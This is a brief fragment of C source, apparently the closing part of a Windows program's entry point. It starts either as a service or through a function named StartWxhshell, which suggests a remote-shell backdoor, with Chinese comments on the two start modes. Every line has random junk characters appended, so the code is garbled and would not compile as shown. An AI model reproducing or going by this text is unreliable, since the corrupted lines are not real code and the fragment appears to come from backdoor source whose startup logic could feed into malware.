else qK-\`m
if(StartFromService()) -hU1wX%U
// 以服务方式启动 1}/37\
StartServiceCtrlDispatcher(DispatchTable); "K)ue@?
else JIOeDuw+
// 普通方式启动 E{8-VmY
StartWxhshell(lpCmdLine); Sv>bU4LHf
B;Dl2k^L
return 0; ~q,Wj!>Ob
}